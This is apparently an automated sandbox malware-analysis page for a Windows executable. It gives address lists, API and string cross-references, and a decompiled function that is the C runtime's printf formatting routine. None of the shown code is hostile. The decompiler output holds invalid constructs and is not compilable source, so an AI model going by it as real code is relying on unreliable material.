0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x004350d8
0x004350d8
0x004350de
0x004350e4
0x004350ea
0x00000000
0x00435098
0x00435098
0x00435098
0x0043509f
0x00000000
0x00000000
0x004350a1
0x004350a1
0x004350ac
0x004350b2
0x004350b4
0x004350ba
0x004350bd
0x004350bf
0x004350c5
0x004350ce
0x004350d3
0x004350f0
0x004350f3
0x004350f3
0x004350f8
0x004350fd
0x004350fd
0x00435103
0x00435105
0x0043510b
0x00435111
0x00435111
0x0043511a
0x0043511a
0x00435103
0x00435120
0x00435124
0x00435132
0x00435135
0x00435138
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x0043514e
0x0043514e
0x00435154
0x00435156
0x00435156
0x0043515d
0x00435160
0x00435163
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00435173
0x00435179
0x00435179
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x00435184
0x00435187
0x0043518e
0x00435195
0x0043519d
0x004351a3
0x004351a6
0x004351a9
0x004351b0
0x004351bc
0x004351c2
0x004351c8
0x004351cf
0x004351d1
0x004351d7
0x004351d7
0x004351dd
0x004351dd
0x004351e3
0x004351e6
0x004351ec
0x004351f1
0x004351f4
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00000000
0x00435171
0x00435163
0x004350a3
0x004350a3
0x004350aa
0x00000000
0x00000000
0x00000000
0x004350aa
0x00000000
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00000000
0x00434652
0x00434615
0x004345b8
0x0043544d
0x00435454
0x0043546b
0x0043546b
0x00435475
0x00435475
0x0043547b
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x00435456
0x0043545d
0x00000000
0x00000000
0x0043545f
0x0043545f
0x00000000
0x0043545f
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00435511
0x0043551e
0x0043551e
0x00434d5a
0x00434d60
0x00434d80
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00000000
0x00434d82

APIs

_get_int_arg.LIBCMTD ref: 00434C9B
__get_printf_count_output.LIBCMTD ref: 00434CA9
__invalid_parameter.LIBCMTD ref: 00434D30
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434D45
_write_multi_char.LIBCMTD ref: 004352BE
_write_string.LIBCMTD ref: 004352D9
_write_multi_char.LIBCMTD ref: 00435305
_wctomb_s.LIBCMTD ref: 00435382

Strings

("'n' format specifier disabled", 0), xrefs: 00434CE5, 00434D2B
-, xrefs: 0043525E
_output_s_l, xrefs: 0043462E, 00434D26
("Incorrect format specifier", 0), xrefs: 004345ED, 00434633
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004345F9, 00434629, 00434CF1, 00434D21

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction ID: 88af872f28f7f4e331899f001d5b85144686422541ee4ccab32716dc40ea9f5c
Opcode Fuzzy Hash: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction Fuzzy Hash: 0FA1B070D016289BDF24DF54CC49BEEB7B0AB98305F1091DAE5197B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C0AA, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C0AA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428310(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433EC0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E330();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CAA0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CAE0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CAA0(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CAE0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AE00(_t600 - 0x40);
									_t523 = E0043B540(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CA40( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CAA0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C4F0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C934))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CA40( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43ca00; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C9C4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE00(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf9b80f80
															E00424670(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xfe6faf80
																	E00424670(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xfe6d6f80
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428310(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
